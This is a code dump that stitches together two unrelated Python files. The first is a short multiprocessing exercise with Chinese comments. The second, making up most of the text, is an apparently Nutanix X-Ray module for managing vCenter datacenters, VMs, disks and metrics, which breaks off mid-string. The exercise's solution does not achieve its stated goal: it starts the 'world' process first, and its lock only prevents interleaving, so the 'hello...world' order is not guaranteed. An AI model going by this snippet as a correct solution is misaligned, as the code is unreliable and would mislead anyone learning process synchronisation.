#4.现有两个进程,1号进程向文件写入10个"hello" # 2号进程向文件写入10个"world",两个进程并发执行 #如何使得文件中的内容一定是 # "hellohellohellohellohello.....worldworldworld......." from multiprocessing import Process,Lock,Pool def jobs(arg): with mylock: f = open('./zz.txt','a') f.write(arg*10) f.close() if __name__ =='__main__': f = open('./zz.txt','w') mylock = Lock() p1 = Process(target=jobs,args=('world',)) p2 = Process(target=jobs,args=('hello',)) p1.start() p2.start() f.close() p1.join() p2.join()
vsphere_vcenter.py
# # Copyright (c) 2015 Nutanix Inc. All rights reserved. # # Thread-safety: this class is not thread-safe. # # Example: # # with VsphereVcenter(...) as vcenter: # datacenter = vcenter.lookup_datacenter("Foo-DC") # cluster = vcenter.lookup_cluster(datacenter, "Foo-cluster") # < do something with 'cluster' > # # NOTE: clients should not hold on to references to vim objects for too long # since the underlying vCenter connection can break (e.g., due to connection # timeouts, etc.). Instead, clients should connect, < perform work >, then # disconnect. If subsequent interaction with vCenter is needed later, a new # VsphereVcenter object should be created at that point in time. # import calendar import glob import logging import os import random import requests import subprocess import threading import time import traceback import urllib from uuid import uuid4 from collections import OrderedDict from functools import partial import gflags from pyVim.connect import SmartConnectNoSSL, Disconnect from pyVim.task import WaitForTask from pyVmomi import vim, vmodl from pywbem import WBEMConnection from curie.curie_error_pb2 import CurieError from curie.curie_metrics_pb2 import CurieMetric from curie.exception import CurieException, CurieTestException from curie.log import patch_trace, CHECK, CHECK_EQ, CHECK_GT from curie.metrics_util import MetricsUtil from curie.task import TaskStatus, TaskPoller from curie.task import VsphereTaskDescriptor, VsphereTask from curie.util import CurieUtil, get_optional_vim_attr from curie.vsphere_vm import CURIE_GUEST_OS_TYPE_KEY log = logging.getLogger(__name__) patch_trace() FLAGS = gflags.FLAGS # Note: this is set to 8 by default to deal with a known limit in vCenter # when creating clones. gflags.DEFINE_integer("vsphere_vcenter_max_parallel_tasks", 8, "Maximum number of parallel tasks for calls to " "clone_vms, power_on_vms, power_off_vms, delete_vms, " "snapshot_vms, and migrate_vms. Also used by" "power_off_hosts.") class VsphereVcenter(object): "Class for interacting with vCenter for a specific cluster." @classmethod def from_proto(cls, proto): """ Returns VsphereVcenter instance constructed with arguments from 'proto'. Args: proto (VcenterInfo|VcenterConnectionParams|ConnectionParams): Proto containing connection params for vCenter. Raises: CurieException<kInvalidParameter> if the proto does not contain the required fields. """ fields_list = [ ("address", "username", "password"), ("vcenter_host", "vcenter_user", "vcenter_password")] for field_triple in fields_list: if all(f in proto.DESCRIPTOR.fields_by_name.keys() for f in field_triple): break else: raise CurieException(CurieError.kInvalidParameter, "Missing expected proto fields") # pylint doesn't appear to understand for/else. # pylint: disable=undefined-loop-variable args = [getattr(proto, field_triple[0])] args.extend(proto.decrypt_field(f) for f in field_triple[1:]) return cls(*args) @classmethod def get_vim_vm_ip_address(cls, vim_vm): """ Attempts to lookup VM IP from 'vim_vm' guest information. Returns: (str|None) IPv4 address for 'vim_vm' if VM has a primary IP and it is an IPv4, else None. """ vim_guest = get_optional_vim_attr(vim_vm.summary, "guest") if not vim_guest: log.warning("Cannot determine VM IP address, unable to query VM guest " "info for %s", vim_vm.name) return None ip_address = get_optional_vim_attr(vim_guest, "ipAddress") if not ip_address: # NB: Keeping this particular log at TRACE as it's common during VM boot # and logging is already handled by the VM boot/check ready code. log.trace("VM %s currently lacks a primary IP address", vim_vm.name) return None if not CurieUtil.is_ipv4_address(ip_address): log.warning("VM %s currently has a non-IPv4 primary IP %s", vim_vm.name, ip_address) return None return ip_address @classmethod def vim_vm_is_nutanix_cvm(cls, vim_vm): vim_config = get_optional_vim_attr(vim_vm, "config") if vim_config is None: return False # If vim_config exists, the 'files' attribute is guaranteed to exist. vmx_path = get_optional_vim_attr(vim_config.files, "vmPathName") return "servicevm" in str(vmx_path).lower() def __init__(self, vcenter_host, vcenter_user, vcenter_password): # vCenter DNS name or IP address. self.__host = vcenter_host # vCenter user name. self.__user = vcenter_user # vCenter password. self.__password = vcenter_password # ServiceInstance object for interacting with vCenter. self.__si = None self.__vim_perf_counter_by_name_map = None def __enter__(self): CHECK(self.__si is None) log.trace("Connecting to vCenter %s", self.__host) max_retries = 5 for attempt_num in range(1, max_retries + 1): try: self.__si = SmartConnectNoSSL(host=self.__host, user=self.__user, pwd=self.__password) break except vim.fault.InvalidLogin as ex: # Note: evidently vCenter seems to have a bug where it can transiently # fail with InvalidLogin faults even when presented with valid # credentials. Retry in the presence of such faults to guard against # this. if attempt_num == max_retries: raise else: log.exception("Authentication error on vCenter %s (attempt %d/%d)", self.__host, attempt_num, max_retries) except Exception: if attempt_num == max_retries: raise else: log.exception("Error connecting to vCenter %s (attempt %d/%d)", self.__host, attempt_num, max_retries) time.sleep(1) assert self.__si log.trace("Connected to vCenter %s", self.__host) return self def __exit__(self, type, value, tb): CHECK(self.__si is not None) log.trace("Disconnecting from vCenter %s", self.__host) Disconnect(self.__si) self.__si = None log.trace("Disconnected from vCenter %s", self.__host) def lookup_datacenter(self, datacenter_name): CHECK(self.__si is not None) for vim_object in self.walk(): if (isinstance(vim_object, vim.Datacenter) and vim_object.name == datacenter_name): log.trace("Found datacenter %s in vCenter %s", datacenter_name, self.__host) return vim_object log.warning("Datacenter %s not found in vCenter %s", datacenter_name, self.__host) return None def lookup_cluster(self, vim_datacenter, cluster_name): CHECK(self.__si is not None) for vim_object in self.walk(vim_datacenter): if (isinstance(vim_object, vim.ComputeResource) and vim_object.name == cluster_name): log.trace("Found cluster %s in vCenter %s", cluster_name, self.__host) return vim_object log.warning("Cluster %s not found in datacenter %s in vCenter %s", cluster_name, vim_datacenter.name, self.__host) return None def lookup_hosts(self, vim_cluster, host_names): """ Look up all the nodes with names 'host_names' on cluster 'vim_cluster'. Returns: (list<vim.HostSystem>) vim objects for hosts corresponding to 'host_names'. Raises: CurieTestException if any node is not found. """ vim_hosts_map = dict((vim_host.name, vim_host) for vim_host in vim_cluster.host) vim_hosts = [] for host_name in host_names: if host_name not in vim_hosts_map: raise CurieTestException("No host with name %s in cluster %s" % (host_name, vim_cluster.name)) vim_hosts.append(vim_hosts_map[host_name]) return vim_hosts def lookup_network(self, vim_datacenter, network_name): for vim_datacenter_network in vim_datacenter.network: if vim_datacenter_network.name == network_name: return vim_datacenter_network raise CurieTestException( cause="No network with name '%s' found in vSphere datacenter '%s'." % (network_name, vim_datacenter.name), impact="VMs can not be mapped to the chosen network.", corrective_action= "Please check that a network with name '%s' is configured for the " "datacenter '%s', and is available to each of the ESXi hosts." % (network_name, vim_datacenter.name) ) def lookup_datastore(self, vim_cluster, datastore_name, host_name=None): CHECK(self.__si is not None) vim_datastore_candidate = None for vim_datastore in vim_cluster.datastore: if vim_datastore.name == datastore_name: vim_datastore_candidate = vim_datastore log.trace("Found datastore %s in vCenter %s", datastore_name, self.__host) break if vim_datastore_candidate is None: log.warning("Datastore %s not found on cluster %s in vCenter %s", datastore_name, vim_cluster.name, self.__host) return None if host_name is None: vim_hosts = vim_cluster.host else: for vim_host in vim_cluster.host: if vim_host.name == host_name: vim_hosts = [vim_host] break else: raise CurieTestException("Host '%s' not found" % host_name) # Check that datastore is mounted on all nodes in the cluster. for vim_host in vim_hosts: datastore_mounted = False for vim_datastore in vim_host.datastore: if vim_datastore.name == datastore_name: datastore_mounted = True break if not datastore_mounted: log.warning("Datastore %s not mounted on host %s", datastore_name, vim_host.name) return None log.trace("Verified datastore %s mounted on all nodes of cluster %s", datastore_name, vim_cluster.name) return vim_datastore_candidate def lookup_vm(self, vim_cluster, vm_name): return self.lookup_vms(vim_cluster, vm_names=[vm_name])[0] def lookup_vms(self, vim_cluster, vm_names=None): """ Look up all the VMs with names 'vm_names' on cluster 'vim_cluster'. Returns a list of VirtualMachine objects or raises a CurieTestException if any VM is not found. """ CHECK(self.__si is not None) vim_vm_map = OrderedDict() for vim_host in vim_cluster.host: for vim_vm in vim_host.vm: try: if (vim_vm.runtime.connectionState == vim.VirtualMachine.ConnectionState.orphaned): log.warning("Skipping orphaned VM '%s: %s'", vim_vm._moId, vim_vm.name) continue vm_name = vim_vm.name except vmodl.fault.ManagedObjectNotFound as err: log.debug("Skipping missing VM: %s (%s)", err.msg, err.obj) else: vim_vm_map[vm_name] = vim_vm if vm_names is None: return vim_vm_map.values() else: vim_vms = [] for vm_name in vm_names: if vm_name not in vim_vm_map: raise CurieTestException("VM %s does not exist" % vm_name) vim_vms.append(vim_vm_map[vm_name]) return vim_vms def walk(self, vim_object=None): """ Perform a depth-first walk of 'vim_object'. Note that only vim.Folders and vim.hostFolders will be enumerated, meaning that datastores, networks, and VMs will not be yielded. These objects exist within a datacenter's datastoreFolder, networkFolder, and vmFolder properties. Args: vim_object: Object in which to walk. Defaults to the root folder. Yields: object: Each vim object. """ # Default to the root. if vim_object is None: CHECK(self.__si is not None) vim_object = self.__si.content.rootFolder yield vim_object # Folders and Datacenters have children; Iterate for those types. if isinstance(vim_object, vim.Folder): for vim_child in vim_object.childEntity: for yielded_vim_object in self.walk(vim_child): yield yielded_vim_object elif isinstance(vim_object, vim.Datacenter): for yielded_vim_object in self.walk(vim_object.hostFolder): yield yielded_vim_object @CurieUtil.log_duration def get_vim_perf_counter_by_metric(self, metric): """Return a CounterInfo object corresponding to a CurieMetric. If no mapping exists for the given metric, None is returned. Args: metric (curie_metrics_pb2.CurieMetric): CurieMetric being matched. Returns: (vim.PerformanceManager.CounterInfo) """ # Building the map is expensive, so it's cached. if self.__vim_perf_counter_by_name_map is None: self.__vim_perf_counter_by_name_map = dict() vim_name_to_curie_name = { "cpu.usage.percent.average": "CpuUsage.Avg.Percent", "cpu.usagemhz.megaHertz.average": "CpuUsage.Avg.Megahertz", "mem.usage.percent.average": "MemUsage.Avg.Percent", "mem.active.kiloBytes.average": "MemActive.Avg.Kilobytes", "net.received.kiloBytesPerSecond.average": "NetReceived.Avg.KilobytesPerSecond", "net.transmitted.kiloBytesPerSecond.average": "NetTransmitted.Avg.KilobytesPerSecond", "datastore.numberReadAveraged.number.average": "DatastoreRead.Avg.OperationsPerSecond", "datastore.numberWriteAveraged.number.average": "DatastoreWrite.Avg.OperationsPerSecond", "datastore.read.kiloBytesPerSecond.average": "DatastoreRead.Avg.KilobytesPerSecond", "datastore.write.kiloBytesPerSecond.average": "DatastoreWrite.Avg.KilobytesPerSecond", "datastore.totalReadLatency.millisecond.average": "DatastoreReadLatency.Avg.Milliseconds", "datastore.totalWriteLatency.millisecond.average": "DatastoreWriteLatency.Avg.Milliseconds", } vim_perf_manager = self.__si.content.perfManager for vim_perf_counter in vim_perf_manager.perfCounter: vim_counter_name = ".".join([vim_perf_counter.groupInfo.key, vim_perf_counter.nameInfo.key, vim_perf_counter.unitInfo.key, vim_perf_counter.rollupType]) # Convert the Vsphere name to a curie name. If the mapping exists, # add the PerfCounter to the class-level map. curie_name = vim_name_to_curie_name.get(vim_counter_name) if curie_name is not None: self.__vim_perf_counter_by_name_map[curie_name] = vim_perf_counter return self.__vim_perf_counter_by_name_map.get( MetricsUtil.metric_name(metric)) @CurieUtil.log_duration def collect_cluster_performance_stats(self, vim_cluster, metrics, vim_perf_query_spec_start_time=None, vim_perf_query_spec_end_time=None, vim_perf_query_spec_max_sample=None): """Simple interface to collect relevant vSphere cluster statistics. The arguments to this method are directly passed through to the vim.PerfQuerySpec argument of the same name. For more information about VMware PerfQuerySpec, which serves as the basis for this interface, visit the VMware documentation here: https://www.vmware.com/support/developer/vc-sdk/visdk41pubs/ApiReference/vim.PerformanceManager.QuerySpec.html Args: vim_cluster (vim.ClusterComputeResource): Cluster from which performance statistics will be gathered. metrics (list of curie_metrics_pb2.CurieMetric): Metrics to collect from the cluster. vim_perf_query_spec_start_time (datetime): Optionally specify the oldest (exclusive) sample to return. This defaults to the vSphere default start time, which is one hour ago. vim_perf_query_spec_end_time (datetime): Optionally specify the newest (inclusive) sample to return. This defaults to the vSphere default end time, which is now. vim_perf_query_spec_max_sample (int): Optionally specify the maximum number of samples to return. This defaults to the vSphere default, which is that "the most recent sample (or samples), unless a time range is specified." Returns: (dict) Dict of list of curie_metrics_pb2.CurieMetric. Top level dict keyed by node ID. List contains one entry per metric. If an error occurs during collection on a node, None will be inserted instead of a list. """ # Use the map to construct a list of perf metric ids to sample. counter_id_to_metric = {} perf_metric_ids = [] for metric in metrics: # Vsphere uses an empty string to represent the "aggregated" instance. if metric.instance == "Aggregated": metric.instance = "" vim_perf_counter = self.get_vim_perf_counter_by_metric(metric) if vim_perf_counter is None: log.error("No counter mapping exists for %s", MetricsUtil.metric_name(metric)) else: counter_id_to_metric[vim_perf_counter.key] = metric perf_metric_ids.append(vim.PerfMetricId(counterId=vim_perf_counter.key, instance=metric.instance)) results_map = {} vim_perf_manager = self.__si.content.perfManager for vim_host in vim_cluster.host: results_map[vim_host.name] = None vim_perf_provider_summary = \ vim_perf_manager.QueryPerfProviderSummary(vim_host) vim_perf_query_spec = vim.PerfQuerySpec() vim_perf_query_spec.entity = vim_host vim_perf_query_spec.intervalId = vim_perf_provider_summary.refreshRate vim_perf_query_spec.startTime = vim_perf_query_spec_start_time vim_perf_query_spec.endTime = vim_perf_query_spec_end_time vim_perf_query_spec.maxSample = vim_perf_query_spec_max_sample vim_perf_query_spec.metricId = perf_metric_ids try: query_perf_start_secs = time.time() vim_entity_metrics = vim_perf_manager.QueryPerf([vim_perf_query_spec]) log.debug("QueryPerf %s finished in %d ms", vim_host.name, (time.time() - query_perf_start_secs) * 1000) except vmodl.fault.SecurityError as e: log.warning("Authentication error during performance statistics " "collection for %s; it will be retried. %s", vim_host.name, e.msg) continue except vmodl.fault.SystemError as e: # If the node has failed, and an existing connection is severed, this # node can be skipped. log.warning("Performance statistics collection failed for %s, and it " "will be skipped. %s", vim_host.name, e.msg) continue except vmodl.fault.InvalidArgument as e: log.error("Invalid argument to QueryPerf ([%s]): %s", vim_perf_query_spec, e.msg) continue else: results_map[vim_host.name] = [] for vim_entity_metric in vim_entity_metrics: timestamps = [calendar.timegm(sample_info.timestamp.utctimetuple()) for sample_info in vim_entity_metric.sampleInfo] for perf_entity_metric_value in vim_entity_metric.value: result = CurieMetric() result.CopyFrom( counter_id_to_metric[perf_entity_metric_value.id.counterId]) result.instance = perf_entity_metric_value.id.instance # Vsphere uses an empty string to represent the "aggregated" # instance. Rename it to be more explicit. if result.instance == "": result.instance = "Aggregated" del result.timestamps[:] result.timestamps.extend(timestamps) del result.values[:] result.values.extend(perf_entity_metric_value.value) results_map[vim_host.name].append(result) return MetricsUtil.sorted_results_map(results_map) def fill_cluster_metadata(self, vim_cluster, metadata, include_reporting_fields): """ Fills in the cluster metadata 'metadata' corresponding to the cluster 'vim_cluster' with additional information (if available). Args: vim_cluster (vim.ClusterComputeResource): vSphere cluster. metadata (CurieSettings.Cluster): cluster metadata. include_reporting_fields (bool): fill in fields intended for reporting. Raises: CurieException: if any of the nodes already specified in 'metadata' aren't found in the cluster. """ node_id_metadata_map = {} for cluster_node in metadata.cluster_nodes: node_id_metadata_map[cluster_node.id] = cluster_node # Update metadata for all nodes in the metadata with additional information # (if available). if include_reporting_fields: for vim_host in vim_cluster.host: node_id = vim_host.name # Skip nodes not in metadata. if node_id not in node_id_metadata_map: continue vim_host_hw_info = get_optional_vim_attr(vim_host, "hardware") if vim_host_hw_info is None: log.warning("No hardware information for node %s on %s", node_id, vim_cluster.name) continue node_hw = node_id_metadata_map[node_id].node_hardware node_hw.num_cpu_packages = vim_host_hw_info.cpuInfo.numCpuPackages node_hw.num_cpu_cores = vim_host_hw_info.cpuInfo.numCpuCores node_hw.num_cpu_threads = vim_host_hw_info.cpuInfo.numCpuThreads node_hw.cpu_hz = vim_host_hw_info.cpuInfo.hz node_hw.memory_size = vim_host_hw_info.memorySize def match_node_metadata_to_vcenter(self, vim_cluster, metadata): """ Edits the user metadata to match the vCenter inventory node ID. Args: vim_cluster (vim.ClusterComputeResource): vSphere cluster. metadata (CurieSettings.Cluster): Cluster metadata. Raises: CurieTestException: If any of the nodes already specified in 'metadata' aren't found in the cluster or match is ambiguous. """ vcenter_node_ip_map = {} for vim_host in vim_cluster.host: vim_host_vnics = vim_host.config.network.vnic vcenter_node_ip_map[vim_host.name] = [vnic.spec.ip.ipAddress for vnic in vim_host_vnics] for cluster_node in metadata.cluster_nodes: if cluster_node.id in vcenter_node_ip_map: continue else: matching_vim_host_names = [ vim_host_name for vim_host_name, ips in vcenter_node_ip_map.iteritems() if cluster_node.id in ips] if not matching_vim_host_names: raise CurieTestException( cause= "Node with ID '%s' is in the Curie cluster metadata, but not " "found in vSphere cluster '%s'." % (cluster_node.id, vim_cluster.name), impact= "The cluster configuration is invalid.", corrective_action= "Please check that Curie node with ID '%s' is part of the vSphere " "cluster." % cluster_node.id ) elif len(matching_vim_host_names) > 1: raise CurieTestException( cause= "More than one node in the vSphere cluster '%s' matches node ID " "'%s'. The matching nodes are: %s." % (vim_cluster.name, cluster_node.id, ", ".join(matching_vim_host_names)), impact= "The cluster configuration is invalid.", corrective_action= "Please check that all node IDs and management IP addresses for " "nodes in the Curie cluster metadata are unique for each node in " "the vSphere cluster, and that hostnames for these nodes are not " "ambiguous." ) else: cluster_node.id = matching_vim_host_names[0] def upload_vmdk(self, local_path, remote_path, vim_host, vim_datastore): """ Uploads a VMDK to a target datastore via a specific host. Args: local_path (str): Full path to the VMDK in the local filesystem. remote_path (str): Target location within a remote datastore. vim_host (vim.Host): The host to use for uploading. vim_datastore (vim.Datastore): The datastore to upload the VMDK to and where the remote_path is assumed. Returns: None """ log.info("Uploading VMDK %s to %s in %s", local_path, remote_path, vim_datastore.name) host = vim_host.name params = { "dcPath": "ha-datacenter", "dsName": vim_datastore.name } upload_url = "https://%s/folder/%s?%s" % ( host, remote_path, urllib.urlencode(params)) sm = self.__si.content.sessionManager ticket = sm.AcquireGenericServiceTicket( spec=vim.SessionManagerHttpServiceRequestSpec( method="PUT", url=upload_url)) log.debug("Acquired service ticket: %s", ticket) headers = { "Cookie": "vmware_cgi_ticket=%s" % ticket.id, "Content-Type": "application/octet-stream" } with open(local_path, "rb") as local_vmdk_data: log.debug("Uploading %s to %s", local_path, upload_url) response = requests.put(upload_url, data=local_vmdk_data, headers=headers, verify=False) log.debug("Response: %s", response) if response.ok: log.info("Completed upload of VMDK %s", local_path) else: raise CurieException( CurieError.kInternalError, "Couldn't upload VMDK from %s to %s in datastore %s. Upload " "response: %s" % (local_path, remote_path, vim_datastore.name, response.content)) def create_vm(self, vm_name, vim_datacenter, vim_cluster, vim_datastore, vim_network, vim_host, os_disk_path, ram_mb=1024, vcpus=1, data_disks=(), num_scsi_controllers=4): """ Create a new VM on the cluster with the provided attributes. VM's created by this method automatically use VMXNet3 for network connectivity and scsi paravirtual controllers for storage. The number of controllers is automatically set to 4 and data disks are distributed across the controllers evenly in a sequential fashion. Args: vm_name (str): Name of the VM vim_datacenter (vim.datacenter): Data center to place the VM vim_cluster (vim.cluster): Cluster to place the VM vim_datastore (vim.datastore): Datastore to use for storage vim_network (vim.network): Network to connect the VM to vim_host (vim.host): Host to place the VM on. os_disk_path (str): Full local path to the vmdk to use as the OS disk. ram_mb (int): RAM to be allocated to the VM. Defaults to 1GB. vcpus (int): Number of vCPUs to allocate to the VM. Defaults to 1. data_disks (list): List of additional disk sizes to allocate to the VM in gigabytes. e.g. [1,1] will create 2 disks of 1 GB each. num_scsi_controllers (int): Number of SCSI controllers. Returns: vim.vm """ if num_scsi_controllers <= 0: raise ValueError("num_scsi_controllers must be at least 1") log.debug("Creating a new VM: %s", vm_name) os_disk_dir, os_disk_name = os.path.split(os_disk_path) def get_additional_scsi_controllers(count, starting_instance_id): scsi_controller_strings = [] for index in xrange(count): scsi_controller_string = """ <Item> <rasd:Address>{address}</rasd:Address> <rasd:Description>SCSI Controller</rasd:Description> <rasd:ElementName>SCSI Controller {address}</rasd:ElementName> <rasd:InstanceID>{instance_id}</rasd:InstanceID> <rasd:ResourceSubType>{type}</rasd:ResourceSubType> <rasd:ResourceType>6</rasd:ResourceType> </Item>""".format(address=index + 1, instance_id=starting_instance_id + index, type="VirtualSCSI") scsi_controller_strings.append(scsi_controller_string) return "".join(scsi_controller_strings) ovf_str = """<?xml version="1.0" encoding="UTF-8"?> <!--Generated by Nutanix X-Ray--> <Envelope xmlns="http://schemas.dmtf.org/ovf/envelope/1" xmlns:cim="http://schemas.dmtf.org/wbem/wscim/1/common" xmlns:ovf="http://schemas.dmtf.org/ovf/envelope/1" xmlns:rasd="http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/CIM_ResourceAllocationSettingData" xmlns:vmw="http://www.vmware.com/schema/ovf" xmlns:vssd="http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/CIM_VirtualSystemSettingData" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <References> <File ovf:href="{vmdk_name}" ovf:id="os_vmdk" ovf:size="{vmdk_size}"/> </References> <DiskSection> <Info>Virtual disk information</Info> <Disk ovf:capacity="{os_disk_capacity}" ovf:capacityAllocationUnits="byte * 2^30" ovf:diskId="os_disk" ovf:fileRef="os_vmdk" ovf:format="http://www.vmware.com/interfaces/specifications/vmdk.html#streamOptimized"/> </DiskSection> <NetworkSection> <Info>The list of logical networks</Info> <Network ovf:name="OVF_Network"> <Description>OVF Network</Description> </Network> </NetworkSection> <VirtualSystem ovf:id="xray-base"> <Info>A virtual machine</Info> <Name>xray-base</Name> <OperatingSystemSection ovf:id="123" vmw:osType="{os_type}"> <Info>The kind of installed guest operating system</Info> </OperatingSystemSection> <VirtualHardwareSection> <Info>Virtual hardware requirements</Info> <System> <vssd:ElementName>Virtual Hardware Family</vssd:ElementName> <vssd:InstanceID>0</vssd:InstanceID> <vssd:VirtualSystemIdentifier>xray-base</vssd:VirtualSystemIdentifier> <vssd:VirtualSystemType>{version}</vssd:VirtualSystemType> </System> <Item> <rasd:AllocationUnits>hertz * 10^6</rasd:AllocationUnits> <rasd:Description>Number of Virtual CPUs</rasd:Description> <rasd:ElementName>{vcpus} virtual CPU(s)</rasd:ElementName> <rasd:InstanceID>1</rasd:InstanceID> <rasd:ResourceType>3</rasd:ResourceType> <rasd:VirtualQuantity>{vcpus}</rasd:VirtualQuantity> </Item> <Item> <rasd:AllocationUnits>byte * 2^20</rasd:AllocationUnits> <rasd:Description>Memory Size</rasd:Description> <rasd:ElementName>{ram_mb}MB of memory</rasd:ElementName> <rasd:InstanceID>2</rasd:InstanceID> <rasd:ResourceType>4</rasd:ResourceType> <rasd:VirtualQuantity>{ram_mb}</rasd:VirtualQuantity> </Item> <Item ovf:required="false"> <rasd:AutomaticAllocation>false</rasd:AutomaticAllocation> <rasd:ElementName>VirtualVideoCard</rasd:ElementName> <rasd:InstanceID>3</rasd:InstanceID> <rasd:ResourceType>24</rasd:ResourceType> </Item> <Item ovf:required="false"> <rasd:AutomaticAllocation>false</rasd:AutomaticAllocation> <rasd:ElementName>VirtualVMCIDevice</rasd:ElementName> <rasd:InstanceID>4</rasd:InstanceID> <rasd:ResourceSubType>vmware.vmci</rasd:ResourceSubType> <rasd:ResourceType>1</rasd:ResourceType> </Item> <Item> <rasd:AddressOnParent>7</rasd:AddressOnParent> <rasd:AutomaticAllocation>true</rasd:AutomaticAllocation> <rasd:Connection>OVF_Network</rasd:Connection> <rasd:Description>VmxNet3 ethernet adapter on &quot;OVF_Network&quot;</rasd:Description> <rasd:ElementName>Ethernet 1</rasd:ElementName> <rasd:InstanceID>5</rasd:InstanceID> <rasd:ResourceSubType>VmxNet3</rasd:ResourceSubType> <rasd:ResourceType>10</rasd:ResourceType> </Item> <Item> <rasd:Address>0</rasd:Address> <rasd:Description>IDE Controller</rasd:Description> <rasd:ElementName>VirtualIDEController 0</rasd:ElementName> <rasd:InstanceID>6</rasd:InstanceID> <rasd:ResourceType>5</rasd:ResourceType> </Item> <Item ovf:required="false"> <rasd:AddressOnParent>0</rasd:AddressOnParent> <rasd:AutomaticAllocation>false</rasd:AutomaticAllocation> <rasd:ElementName>CD-ROM 1</rasd:ElementName> <rasd:InstanceID>7</rasd:InstanceID> <rasd:Parent>6</rasd:Parent> <rasd:ResourceSubType>vmware.cdrom.remotepassthrough</rasd:ResourceSubType> <rasd:ResourceType>15</rasd:ResourceType> </Item> <Item> <rasd:Address>0</rasd:Address> <rasd:Description>SCSI Controller</rasd:Description> <rasd:ElementName>SCSI Controller 0</rasd:ElementName> <rasd:InstanceID>8</rasd:InstanceID> <rasd:ResourceSubType>VirtualSCSI</rasd:ResourceSubType> <rasd:ResourceType>6</rasd:ResourceType> </Item> <Item> <rasd:AddressOnParent>0</rasd:AddressOnParent> <rasd:ElementName>Hard Disk 1</rasd:ElementName> <rasd:HostResource>ovf:/disk/os_disk</rasd:HostResource> <rasd:InstanceID>9</rasd:InstanceID> <rasd:Parent>8</rasd:Parent> <rasd:ResourceType>17</rasd:ResourceType> </Item>{additional_scsi_controllers} <vmw:Config ovf:required="false" vmw:key="cpuHotAddEnabled" vmw:value="false"/> <vmw:Config ovf:required="false" vmw:key="cpuHotRemoveEnabled" vmw:value="false"/> <vmw:Config ovf:required="false" vmw:key="firmware" vmw:value="bios"/> <vmw:Config ovf:required="false" vmw:key="virtualICH7MPresent" vmw:value="false"/> <vmw:Config ovf:required="false" vmw:key="virtualSMCPresent" vmw:value="false"/> <vmw:Config ovf:required="false" vmw:key="memoryHotAddEnabled" vmw:value="false"/> <vmw:Config ovf:required="false" vmw:key="nestedHVEnabled" vmw:value="false"/> <vmw:Config ovf:required="false" vmw:key="powerOpInfo.powerOffType" vmw:value="soft"/> <vmw:Config ovf:required="false" vmw:key="powerOpInfo.resetType" vmw:value="soft"/> <vmw:Config ovf:required="false" vmw:key="powerOpInfo.standbyAction" vmw:value="checkpoint"/> <vmw:Config ovf:required="false" vmw:key="powerOpInfo.suspendType" vmw:value="soft"/> <vmw:Config ovf:required="false" vmw:key="tools.afterPowerOn" vmw:value="true"/> <vmw:Config ovf:required="false" vmw:key="tools.afterResume" vmw:value="true"/> <vmw:Config ovf:required="false" vmw:key="tools.beforeGuestShutdown" vmw:value="true"/> <vmw:Config ovf:required="false" vmw:key="tools.beforeGuestStandby" vmw:value="true"/> <vmw:Config ovf:required="false" vmw:key="tools.toolsUpgradePolicy" vmw:value="upgradeAtPowerCycle"/> </VirtualHardwareSection> <vmw:BootOrderSection vmw:type="cdrom"> <Info>Virtual hardware device boot order</Info> </vmw:BootOrderSection> </VirtualSystem> </Envelope>""".format( os_disk_capacity=32, vmdk_name=os_disk_name, vmdk_size=os.path.getsize(os_disk_path), os_type="ubuntu64Guest", version="vmx-09", ram_mb=ram_mb, vcpus=vcpus, additional_scsi_controllers=get_additional_scsi_controllers( count=num_scsi_controllers - 1, starting_instance_id=10) ) # TODO (ryan.hardin): ^ Guest ID might need to be different here. # Disable time synchronization of the VM with the host via VMware tools # https://pubs.vmware.com/vsphere-50/index.jsp?topic=%2Fcom.vmware.vmtools.install.doc%2FGUID-678DF43E-5B20-41A6-B252-F2E13D1C1C49.html extra_config = {"tools.syncTime": "FALSE", "time.synchronize.continue": "FALSE", "time.synchronize.resume.disk": "FALSE", "time.synchronize.shrink": "FALSE", "time.synchronize.tools.startup": "FALSE", } # Using import_ovf here due to XRAY-1056; VMs created manually by attaching # the OS disk did not boot on VSAN. vm = self.import_ovf(ovf_str=ovf_str, vmdk_dir=os_disk_dir, vim_datacenter=vim_datacenter, vim_cluster=vim_cluster, vim_datastore=vim_datastore, vim_network=vim_network, vm_name=vm_name, host_name=vim_host.name, guest_os_type="unix", extra_config=extra_config) # TODO (ryan.hardin): ^ Guest OS type might need to be different here. # Create a dictionary to keep track of how many disks have been added. controllers = [] for device in vm.config.hardware.device: if isinstance(device, vim.vm.device.VirtualSCSIController): controllers.append({ "controller": device, "attached_disks": 0 }) # Account for the OS disk. controllers[0]["attached_disks"] = 1 # Create and attach the additional data disks disk_changes = [] for num, size_gb in enumerate(data_disks): # Add one to put first data disk on different controller than OS disk. controller_num = (1 + num) % num_scsi_controllers unitNumber = controllers[controller_num]["attached_disks"] # Position 7 is reserved if unitNumber >= 7: unitNumber += 1 if unitNumber >= 16: raise CurieException(CurieError.kInternalError, "Attempting to attach too many disks.") disk_spec = vim.vm.device.VirtualDiskSpec( fileOperation="create", operation=vim.vm.device.VirtualDeviceSpec.Operation.add, device=vim.vm.device.VirtualDisk( backing=vim.vm.device.VirtualDisk.FlatVer2BackingInfo( diskMode="persistent", thinProvisioned=True ), unitNumber=unitNumber, capacityInKB=(size_gb * 1024 * 1024), controllerKey=controllers[controller_num]["controller"].key ) ) controllers[controller_num]["attached_disks"] += 1 disk_changes.append(disk_spec) # Modify the VM spec = vim.vm.ConfigSpec() spec.deviceChange = disk_changes modify_task_func = partial(vm.ReconfigVM_Task, spec=spec) pre_task_msg = "Adding data disks to VM '%s'" % vm_name post_task_msg = "Finished adding data disks to VM '%s'" % vm_name task_desc = VsphereTaskDescriptor(pre_task_msg=pre_task_msg, post_task_msg=post_task_msg, create_task_func=modify_task_func) TaskPoller.execute_parallel_tasks(task_descriptors=task_desc, max_parallel=1, timeout_secs=600) return vm def import_vm(self, goldimages_directory, goldimage_name, vim_datacenter, vim_cluster, vim_datastore, vim_network, vm_name, host_name=None): """ Creates a VM with name 'vm_name' from the specified gold image. If 'host_name' is specified, the VM is created on that node, else a random node is selected. The VM will be created on the datastore 'vim_datastore' on the cluster 'vim_cluster' in the VM folder for 'vim_datastore'. If 'vim_network' is specified, use that network for all network interfaces for the VM. """ CHECK(self.__si is not None) # Read the goldimage OVF descriptor and compute goldimage vmdk pathnames. goldimage_dir = "%s/%s" % (goldimages_directory, goldimage_name) if not os.path.exists(goldimage_dir): raise CurieException(CurieError.kInternalError, "Goldimage is missing: %s" 